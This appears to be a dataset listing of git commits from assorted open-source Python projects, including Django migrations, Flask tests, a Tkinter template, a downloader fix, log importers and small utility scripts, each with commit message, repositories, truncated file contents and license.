948200f4cf10449a40e75e539f58cab409ce3461 | Update sites -> migrations | webspired/cookiecutter-django,mjhea0/cookiecutter-django,thornomad/cookiecutter-django,gappsexperts/cookiecutter-django,ujjwalwahi/cookiecutter-django,ovidner/cookiecutter-django,pydanny/cookiecutter-django,webyneter/cookiecutter-django,yunti/cookiecutter-django,kaidokert/cookiecutter-django,gappsexperts/cookiecutter-d... | {{cookiecutter.repo_name}}/{{cookiecutter.repo_name}}/contrib/sites/migrations/0001_initial.py | {{cookiecutter.repo_name}}/{{cookiecutter.repo_name}}/contrib/sites/migrations/0001_initial.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.contrib.sites.models
class Migration(migrations.Migration):
dependencies = [
]
operations = [
migrations.CreateModel(
name='Site',
fields=[
... | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.contrib.sites.models
class Migration(migrations.Migration):
dependencies = [
]
operations = [
migrations.CreateModel(
name='Site',
fields=[
... | bsd-3-clause | Python |
3cd759c4794f8688866970d68c39023c6bef1a3d | Add tests for representations | teracyhq/flask-classy,ei-grad/muffin-classy,teracyhq/flask-classy,hoatle/flask-classy,ei-grad/muffin-classy | test_classy/test_representations.py | test_classy/test_representations.py | from flask import Flask, make_response
from flask_classy import FlaskView
import json
from nose.tools import *
class JsonResource(object):
content_type = 'application/json'
def output(self, data, code, headers=None):
dumped = json.dumps(data)
response = make_response(dumped, code)
if ... | bsd-3-clause | Python | |
958a8bb4de0f11688b02a3501fe1e0b9cac28178 | add gnomad | raonyguimaraes/pynnotator,raonyguimaraes/pynnotator | pynnotator/helpers/gnomad.py | pynnotator/helpers/gnomad.py | #Gemini wrapper
import argparse
from subprocess import run
from pynnotator import settings
import os
class GnomAD:
def __init__(self, vcf, cores):
self.data = []
def install():
print('Install gnomAD')
os.chdir(settings.data_dir)
if not os.path.exists('gnomad'):
... | bsd-3-clause | Python | |
fefcc9ab57b5dc818690c4febc4250fffb0f9543 | Add a new sub example regarding custom ACL modification | AlainMoretti/cli-wrapper | subs/modify_acl.py | subs/modify_acl.py | # Copyright 2016 Netfishers
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... | apache-2.0 | Python | |
8cc020949f1d7eb9c66121a7d3a762738cb44c2c | Add dictionary mapping abbreviations to station names | ganemone/SublimeBart,ganemone/SublimeBart,ganemone/SublimeBart,ganemone/SublimeBart | src/station_map.py | src/station_map.py | station_map = {
'12th': '12th St. Oakland City Center',
'16th': '16th St. Mission (SF)',
'19th': '19th St. Oakland',
'24th': '24th St. Mission (SF)',
'ashb': 'Ashby (Berkeley)',
'balb': 'Balboa Park (SF)',
'bayf': 'Bay Fair (San Leandro)',
'cast': 'Castro Valley',
'civc': 'Civic Cent... | mit | Python | |
eeee6f03131fe20bb3374cbd6c8f80b3894083da | Create main.py | GeneralZero/SSH-QRCode | main.py | main.py | #!/usr/bin/env python
"""
qr - Convert stdin (or the first argument) to a QR Code.
When stdout is a tty the QR Code is printed to the terminal and when stdout is
a pipe to a file an image is written. The default image format is PNG.
"""
import sys, os
import optparse
import qrcode
default_factories = {
'pil': 'qrcod... | mit | Python | |
af492e64e4da81a5e65c3d2f2a9cdc6c6b34e786 | add main | marcorosa/wos-cli | main.py | main.py | import argparse
def main():
"""Main method."""
parser = argparse.ArgumentParser(description='Look for an author in the Web of Science.')
parser.add_argument('author', help='Surname and name of the author')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose')
parser.add_argum... | mit | Python | |
cb1d6f417a5349df485b99bf8a41744b7692cf07 | Create main.py | sonus89/FIPER,sonus89/FIPER,sonus89/FIPER | main.py | main.py | import sys
from Tkinter import *
from winsound import *
from PIL import ImageTk, Image
import tkFont
window = Tk()
im0 = Image.open('image\\background.jpg')
tkimage = ImageTk.PhotoImage(im0)
Label(window,image = tkimage).pack()
window.iconbitmap('image\\icon.ico')
window.title('FIPER')
window.attributes('-fullscree... | mit | Python | |
184c33d7528e61010116599f1ca3fbb68f1dc4a7 | add tkinter template | khrogos/pelican-gui | main.py | main.py | #!/usr/local/bin/python3.4
#coding: utf-8
import tkinter as tk
class MainApplication(tk.Frame):
def __init__(self, parent, *args, **kwargs):
tk.Frame.__init__(self, parent, *args, **kwargs)
self.parent = parent
# <create the rest of your GUI here>
if __name__ == "__main__":
root = tk.... | mit | Python | |
46a130d1a28025cc5060560d734deed11b4346c9 | Introduce node.py. | hackerberry/ooni-probe,lordappsec/ooni-probe,juga0/ooni-probe,lordappsec/ooni-probe,Karthikeyan-kkk/ooni-probe,Karthikeyan-kkk/ooni-probe,Karthikeyan-kkk/ooni-probe,0xPoly/ooni-probe,0xPoly/ooni-probe,kdmurray91/ooni-probe,juga0/ooni-probe,lordappsec/ooni-probe,juga0/ooni-probe,hackerberry/ooni-probe,lordappsec/ooni-pr... | node.py | node.py | #!/usr/bin/env python
# -*- coding: UTF-8
import os
import sys
import socks
class Node(object):
def __init__(self, address, port):
self.address = address
self.port = port
"""
[]: node = NetworkNode("192.168.0.112", 5555, "SOCKS5")
[]: node_socket = node.wrap_socket()
"""
class NetworkNode(Node):
... | bsd-2-clause | Python | |
7ff3d55691d89eb8a00f273af18bade8602f34d0 | insert to db outbox | awangga/spy,awangga/spy | insert.py | insert.py | #!/usr/bin/env python
"""
insert.py - Program to :
1. insert to outbox collection,
2. check if main is running? if not run then run
"""
print "Content-Type: text-html"
print
import cgitb
cgitb.enable()
import cgi
import smsweb
form = cgi.FieldStorage()
rcpt = form["rcpt"].value
msg = form["msg"].value
sw = smsweb.... | agpl-3.0 | Python | |
cded6c2f088736ace88c0771a08cd9c8ef6dccef | Test for NullConfigStorage | CartoDB/geocoder-api,CartoDB/dataservices-api,CartoDB/geocoder-api,CartoDB/dataservices-api,CartoDB/dataservices-api,CartoDB/dataservices-api,CartoDB/geocoder-api,CartoDB/geocoder-api | server/lib/python/cartodb_services/test/refactor/storage/test_null_config.py | server/lib/python/cartodb_services/test/refactor/storage/test_null_config.py | from unittest import TestCase
from cartodb_services.refactor.storage.null_config import NullConfigStorage
from cartodb_services.refactor.core.interfaces import ConfigBackendInterface
class TestNullConfigStorage(TestCase):
def test_is_a_config_backend(self):
null_config = NullConfigStorage()
asser... | bsd-3-clause | Python | |
4c5a2540ea665d763e7a66fcae108dd1a2656a00 | fix file extension issue | cnbeining/you-get,chares-zhang/you-get,xyuanmu/you-get,linhua55/you-get,rain1988/you-get,qzane/you-get,j4s0nh4ck/you-get,kzganesan/you-get,cnbeining/you-get,zmwangx/you-get,flwh/you-get,smart-techs/you-get,pitatensai/you-get,lilydjwg/you-get,specter4mjy/you-get,pastebt/you-get,power12317/you-get,Red54/you-get,linhua55/... | you_get/downloader/mixcloud.py | you_get/downloader/mixcloud.py | #!/usr/bin/env python
__all__ = ['mixcloud_download']
from ..common import *
def mixcloud_download(url, output_dir = '.', merge = True, info_only = False):
html = get_html(url)
title = r1(r'<meta property="og:title" content="([^"]*)"', html)
url = r1("data-preview-url=\"([^\"]+)\"", html)
url = ... | #!/usr/bin/env python
__all__ = ['mixcloud_download']
from ..common import *
def mixcloud_download(url, output_dir = '.', merge = True, info_only = False):
html = get_html(url)
title = r1(r'<meta property="og:title" content="([^"]*)"', html)
url = r1("data-preview-url=\"([^\"]+)\"", html)
url = ... | mit | Python |
8951477a3b6f9e07e2f81e18b698cd0afda69d60 | add terms tests | onepercentclub/bluebottle,onepercentclub/bluebottle,onepercentclub/bluebottle,onepercentclub/bluebottle,onepercentclub/bluebottle | bluebottle/terms/tests/test_api.py | bluebottle/terms/tests/test_api.py | from django.core.urlresolvers import reverse
from rest_framework import status
from bluebottle.test.utils import BluebottleTestCase
from bluebottle.test.factory_models.accounts import BlueBottleUserFactory
from bluebottle.test.factory_models.terms import TermsFactory
class TermsAPITest(BluebottleTestCase):
""" ... | bsd-3-clause | Python | |
6632f374d0d9979fd94f462e861dfb21ae146a48 | Move utilities out of FilePlayer into sound.Util | rec/echomesh,rec/echomesh,rec/echomesh,rec/echomesh,rec/echomesh,rec/echomesh | code/python/echomesh/sound/Util.py | code/python/echomesh/sound/Util.py | from __future__ import absolute_import, division, print_function, unicode_literals
import aifc
import math
import numpy
import sunau
import wave
from echomesh.util import Subprocess
LOGGER = Log.logger(__name__)
DEFAULT_AUDIO_DIRECTORY = DefaultFile.DefaultFile('assets/audio')
FILE_READERS = {'au': sunau, 'aifc': ... | mit | Python | |
7bebb08b52398a1a824903584b54c34ab2b20334 | Add script to compare benchmark results with the reference | ORNL-CEES/DataTransferKit,ORNL-CEES/DataTransferKit,Rombur/DataTransferKit,ORNL-CEES/DataTransferKit,dalg24/DataTransferKit,Rombur/DataTransferKit,Rombur/DataTransferKit,Rombur/DataTransferKit,dalg24/DataTransferKit,dalg24/DataTransferKit,ORNL-CEES/DataTransferKit,dalg24/DataTransferKit | scripts/compare.py | scripts/compare.py | #! /usr/bin/env python
###############################################################################
# This script parses the output of google benchmark and compare the new result
# with a reference. It also extracts the timings so that they can be plotted.
###########################################################... | bsd-3-clause | Python | |
45dc85ded5a766191cd58d76a16470fc063d6e70 | Add error formatting tests for httperror | racker/fleece,racker/fleece | tests/test_httperror.py | tests/test_httperror.py | import unittest
from fleece import httperror
class HTTPErrorTests(unittest.TestCase):
"""Tests for :class:`fleece.httperror.HTTPError`."""
def test_error_msg_format(self):
with self.assertRaises(httperror.HTTPError) as err:
raise httperror.HTTPError(status=404)
self.assertEqual('... | apache-2.0 | Python | |
cad79ac342ffe685062c5c90f05e6f573fb7b5b5 | Add missing test file. See #1416. (#1417) | EuroPython/epcon,EuroPython/epcon,EuroPython/epcon,EuroPython/epcon | tests/test_streamset.py | tests/test_streamset.py | from pytest import mark
from tests import factories
from tests import common_tools
from tests.common_tools import (
make_user,
create_talk_for_user,
get_default_conference,
template_used)
from conference import user_panel
from conference import models
STERAMS_1 = [
{
"title": "Holy Grail",... | bsd-2-clause | Python | |
2f18f9f8098b5af9fc1d39a932ab07c455c2f514 | Add tests for the Tutorials in the documentation | johannesmik/neurons,timqian/neurons | tests/test_tutorials.py | tests/test_tutorials.py | __author__ = 'johannes'
import pytest
import numpy as np
from neurons import spiking, learning
class TestSRMNetwork:
" The first tutorial: SRM network "
def test_tutorial_works(self):
model = spiking.SRM(neurons=3, threshold=1, t_current=0.3, t_membrane=20, eta_reset=5)
weights = np.array([... | bsd-2-clause | Python | |
a627fa4c681bdd9de323750c3ab3f2cb0d5fca86 | Add basic infrastructure for rest API | CatalystOfNostalgia/hoot,CatalystOfNostalgia/hoot | server/hoot/app.py | server/hoot/app.py | #!../env/bin/python
from flask import Flask, jsonify
app = Flask(__name__)
@app.route('/hoot/api/v1.0/', methods=['GET'])
def index():
return jsonify({'hello': 'Hello World!'})
if __name__ == '__main__':
app.run(debug=True)
| mit | Python | |
f983f78262accdca35982ea3c6088b85bb836a8a | Create phasing_success.py | jmp1985/metrix-database | phasing_success.py | phasing_success.py | from os import listdir
import sqlite3
conn = sqlite3.connect('metrix_db.sqlite')
cur = conn.cursor()
path = '/dls/mx-scratch/melanie/for_METRIX/data_base_proc/simple_MR'
dir_list = listdir(path)
pdb_list = []
data_list = []
for item in dir_list:
if len(item) == 4:
pdb_list.append(item)
for pdb in pdb_list:
... | bsd-2-clause | Python | |
3c31c9541cab4e452074b7c2ab08f28e48f47e4c | add admin site for DomainLink | dimagi/commcare-hq,dimagi/commcare-hq,dimagi/commcare-hq,dimagi/commcare-hq,dimagi/commcare-hq | corehq/apps/linked_domain/admin.py | corehq/apps/linked_domain/admin.py | from __future__ import absolute_import
from django.contrib import admin
from .models import DomainLink
class DomainLinkAdmin(admin.ModelAdmin):
model = DomainLink
list_display = [
'linked_domain',
'master_domain',
'remote_base_url',
'last_pull',
]
list_filter = [
... | bsd-3-clause | Python | |
93d66d085a618b104d67a5fc1d1cf7507c31fff6 | fix NameError | fivejjs/crosscat,probcomp/crosscat,fivejjs/crosscat,mit-probabilistic-computing-project/crosscat,mit-probabilistic-computing-project/crosscat,mit-probabilistic-computing-project/crosscat,probcomp/crosscat,probcomp/crosscat,probcomp/crosscat,fivejjs/crosscat,mit-probabilistic-computing-project/crosscat,probcomp/crosscat... | crosscat/utils/experiment_utils.py | crosscat/utils/experiment_utils.py | import os
import collections
#
import crosscat.utils.file_utils as file_utils
import crosscat.utils.geweke_utils as geweke_utils
import crosscat.utils.general_utils as general_utils
result_filename = geweke_utils.summary_filename
def find_configs(dirname, filename=result_filename):
root_has_filename = lambda (r... | import os
import collections
#
import crosscat.utils.file_utils as file_utils
import crosscat.utils.geweke_utils as geweke_utils
import crosscat.utils.general_utils as general_utils
result_filename = geweke_utils.summary_filename
def find_configs(dirname, filename=result_filename):
root_has_filename = lambda (r... | apache-2.0 | Python |
00f40b80a9edfe0e328db019347a464a311b0dd6 | Create sign.py | JieC/Ultisign | sign.py | sign.py | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
import requests
import re
import json
import logging
import codecs
import sys
logging.getLogger("urllib3").setLevel(logging.WARNING)
logger = logging.getLogger(__name__)
handler = logging.FileHandler('sign.log', 'a', 'utf-8')
formatter = logging.Formatter('%(asctime)s %(l... | mit | Python | |
bf5f63ce8c6bd4fbef48c848cc8ed9eb5874b326 | Create test.py | yanzhenchao/algorithms-in-python | test.py | test.py | import random
from sort_and_search import *
# Bubble Sort
array = [random.randint(0, 100) for n in range(40)]
print('Bubble Sort:\n')
print('Before:\n', array)
bubble_sort(array)
print('After:\n', array)
print('\n')
# Selection Sort
array = [random.randint(0, 100) for n in range(40)]
print('Selection Sort:\n')
prin... | mit | Python | |
3c065b1c1633c0fccebfa1efe76fe59aa8fed3f4 | Add XKCDPlugin class with basic xkcd command. | mrshu/brutal-plugins,Adman/brutal-plugins | xkcd.py | xkcd.py | """
XKCD brutal plugins.
Provides basic commands for showing xkcd info in IRC.
"""
from brutal.core.plugin import BotPlugin, cmd
import json
import urllib
SLEEP_TIME = 3600
def get_xkcd_metadata(num=None):
"""Returns data about xkcd number 'num', or latest."""
site_url = 'http://xkcd.com/'
json_filena... | apache-2.0 | Python | |
b10db4316af4f044cbde96076064beae33101d6d | Add misc parser | pa-pyrus/ircCommander | misc.py | misc.py | # vim:fileencoding=utf-8:ts=8:et:sw=4:sts=4:tw=79
from datetime import datetime
from json import loads
from urllib import urlencode
from twisted.internet.defer import Deferred
from twisted.python import log
from twisted.web.client import getPage
UBERNET_NEWS_URL = "http://uberent.com/GameClient/GetNews"
class Misc... | mit | Python | |
1ef26b03bfda67e12af557944417b59357a5c324 | Create __init__.py | christian-stephen/apriori-algorithm | apriori/__init__.py | apriori/__init__.py | mit | Python | ||
f82730bfab4a65efa6cd1e7ecb767514bbb481a4 | add function to find local IP addresses | idanyelin/magic-wormhole,warner/magic-wormhole,warner/magic-wormhole,warner/magic-wormhole,shaunstanislaus/magic-wormhole,negativo/magic-wormhole,barseghyanartur/magic-wormhole,david415/magic-wormhole,warner/magic-wormhole | src/wormhole/ipaddrs.py | src/wormhole/ipaddrs.py |
# Find all of our ip addresses. From tahoe's src/allmydata/util/iputil.py
import os, re, subprocess, errno
from sys import platform
# Wow, I'm really amazed at home much mileage we've gotten out of calling
# the external route.exe program on windows... It appears to work on all
# versions so far. Still, the real s... | mit | Python | |
6e63032cee81bfa8125c7eecd4d1697ddf4ff159 | Create procrastination.py | oxydum/snippets | procrastination.py | procrastination.py | def procrastination():
pass
| unlicense | Python | |
c336d907482958da06417c36723574b67d8ef2a5 | Add SQLite support | rolisz/Log,rolisz/Log | sqlite_importer.py | sqlite_importer.py | import logging
import parsers
import collections
import itertools
import json
from datetime import datetime
import sqlite3
def lines():
for contact in messages:
for line in messages[contact]:
yield (contact, line['contact'],line['timestamp'], line['source'],
line['protocol'... | mit | Python | |
500df3f340d7782c759634529ae40ce56f7bec3e | Add first file Only read a .docx until now | Psidium/NTL | plag.py | plag.py | from docx import Document
if __name__ == "__main__":
if sys.args[0] == 0:
print("Must specify file!")
return
#open the docx (and docx only)
document = Document(sys.args[0])
#for each paragraph on the docx
for parag in document.paragraphs:
#extract the string
text = p... | apache-2.0 | Python | |
94794e61298e6b1763f571d5e48c3549a538ac51 | add tests | astex/sequential | test_sequential.py | test_sequential.py | """Tests the decorators."""
try:
import unittest2 as unittest
except ImportError:
import unittest
from sequential import before, after, during
__all__ = ['TestSequential']
class TestSequential(unittest.TestCase):
def test_before_chain(self):
"""Tests @before chained to another function."""
... | mit | Python | |
8b70516830e0226c96a274c484ec1681c6e248a4 | test for resources, still needs bytesio and stringio test... | hypatia-software-org/hypatia-engine,brechin/hypatia,lillian-lemmer/hypatia,Applemann/hypatia,lillian-lemmer/hypatia,Applemann/hypatia,brechin/hypatia,hypatia-software-org/hypatia-engine | tests/test_util.py | tests/test_util.py | # This module is part of Hypatia and is released under the
# MIT license: http://opensource.org/licenses/MIT
"""py.test unit testing for hypatia/util.py
Run py.test on this module to assert hypatia.util
is completely functional.
"""
import os
try:
import ConfigParser as configparser
except ImportError:
imp... | mit | Python | |
89f837997b6ed84b14d01cadbe8bfeeb4e0dcf36 | add base keyword file | IfengAutomation/uitester,IfengAutomation/uitester | libs/base_keywords.py | libs/base_keywords.py | # @Time : 2016/11/18 16:32 | apache-2.0 | Python | |
52b2e617ab8fcbb268d1d75c90b3f92470737f41 | Create __init__.py | bengjerstad/windowslogonofflogger,bengjerstad/windowslogonofflogger,bengjerstad/windowslogonofflogger | logserver/__init__.py | logserver/__init__.py | import hug
try:
from . import runserver
##to run windowslogonofflogger
##https://github.com/bengjerstad/windowslogonofflogger
hug.API(__name__).extend(runserver, '')
print('Running windowslogonofflogger Server')
except:
pass
try:
from . import logserver
##to run MulitUse Log Server
##https://github.com/ben... | mit | Python | |
882de02df3131cf19eed5750428bcb79ce7f30c1 | Add DB migration for netdev bindings | unikmhz/npui,unikmhz/npui,unikmhz/npui,unikmhz/npui | netprofile_access/migrations/f2d2359b923a_link_bindings_to_access_entities.py | netprofile_access/migrations/f2d2359b923a_link_bindings_to_access_entities.py | """link bindings to access entities
Revision ID: f2d2359b923a
Revises: b32a4bf96447
Create Date: 2018-01-09 16:59:13.885801
"""
# revision identifiers, used by Alembic.
revision = 'f2d2359b923a'
down_revision = 'b32a4bf96447'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
from... | agpl-3.0 | Python | |
16489e1c7486e90f2e36b1c3c2c5625077e42345 | Create ssap.py | MartinHvidberg/Esri_stuff | ssap.py | ssap.py | apache-2.0 | Python | ||
1eecfc0f2fd63ed9885bae65a6d64fead4d44fce | add test.py | linqing-lu/crawlData | test.py | test.py | #coding=utf-8
import splinter
import time
import random
import requests
import re
from bs4 import BeautifulSoup
from splinter import Browser
from selenium import webdriver
import time
class Duobao:
baseurl = "http://1.163.com/user/win.do?cid=43279246"
urls = []
def getdata(self):
url = str(self.bas... | mit | Python | |
9c2d28108d1a43a402d8984bae98917dfdd72ad4 | Add mestat. | CorralPeltzer/newTrackon | mestat.py | mestat.py | from time import time
from os import environ
from cgi import parse_qs, FieldStorage as FormPost
import google.appengine.api.labs.taskqueue as tq
from google.appengine.api.memcache import get as mget, set as mset, get_multi as mmget, delete as mdel, flush_all
import google.appengine.api.memcache as m
NS = 'MESTAT-DATA'... | mit | Python | |
5c269bfeb517b70cfcb8fd730bf3eb983a5515dc | Create a quick script to train a COBE brain from a folder of formatted IRC logs | HubbeKing/Hubbot_Twisted | markov_batch_learn.py | markov_batch_learn.py | from __future__ import unicode_literals
import argparse
import os
from cobe.brain import Brain
if __name__ == "__main__":
bots = ["ames", "bojii", "diderobot", "ekimbot", "harbot", "hubbot", "nopebot", "memebot",
"pyheufybot", "re_heufybot", "heufybot", "pymoronbot", "moronbot", "robobo", "safebot", "... | mit | Python | |
5c60b11839370460209e98f18867bce338d13fba | add migration | liqd/adhocracy4,liqd/adhocracy4,liqd/adhocracy4,liqd/adhocracy4 | adhocracy4/projects/migrations/0012_help_texts.py | adhocracy4/projects/migrations/0012_help_texts.py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.4 on 2017-09-27 12:06
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('a4projects', '0011_fix_copyright_field_desc'),
]
operations = [
migrations.... | agpl-3.0 | Python | |
ddc3e45f5f84e5574090ee79875039e401864a49 | Add test for extension loading and unloading | ipython/ipython,ipython/ipython | IPython/core/tests/test_extension.py | IPython/core/tests/test_extension.py | import os.path
import nose.tools as nt
import IPython.testing.tools as tt
from IPython.utils.syspathcontext import prepended_to_syspath
from IPython.utils.tempdir import TemporaryDirectory
ext1_content = """
def load_ipython_extension(ip):
print("Running ext1 load")
def unload_ipython_extension(ip):
print("... | bsd-3-clause | Python | |
a915cc851a75e42e929f7652c3c592edcfbb0892 | Add some tests for Course.search | rageandqq/rmc,duaayousif/rmc,JGulbronson/rmc,ccqi/rmc,shakilkanji/rmc,duaayousif/rmc,rageandqq/rmc,MichalKononenko/rmc,JGulbronson/rmc,UWFlow/rmc,rageandqq/rmc,ccqi/rmc,JGulbronson/rmc,shakilkanji/rmc,rageandqq/rmc,JGulbronson/rmc,duaayousif/rmc,UWFlow/rmc,UWFlow/rmc,sachdevs/rmc,shakilkanji/rmc,MichalKononenko/rmc,ccq... | models/course_test.py | models/course_test.py | import rmc.models as m
import rmc.test.lib as testlib
class CourseTest(testlib.FixturesTestCase):
def assertResultsEquals(self, results, expected):
self.assertEquals([course['id'] for course in results], expected)
def test_search(self):
# Test empty search
results, has_more = m.Cours... | mit | Python | |
b16e18a636f8484ea9478522c8ecba58b79adf6e | add ability to delete tasks selectively, useful for testing penta import | jrial/fosdem-volunteers,jrial/fosdem-volunteers,FOSDEM/volunteers,FOSDEM/volunteers,FOSDEM/volunteers,jrial/fosdem-volunteers,jrial/fosdem-volunteers,FOSDEM/volunteers | volunteers/management/commands/delete_tasks.py | volunteers/management/commands/delete_tasks.py | from django.core.management.base import BaseCommand
from volunteers.models import Task, TaskTemplate
class Command(BaseCommand):
def handle(self, *args, **options):
if len(args) <= 0:
valid_choices = ', '.join([tt.name for tt in TaskTemplate.objects.all()])
raise Exception(
... | agpl-3.0 | Python |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.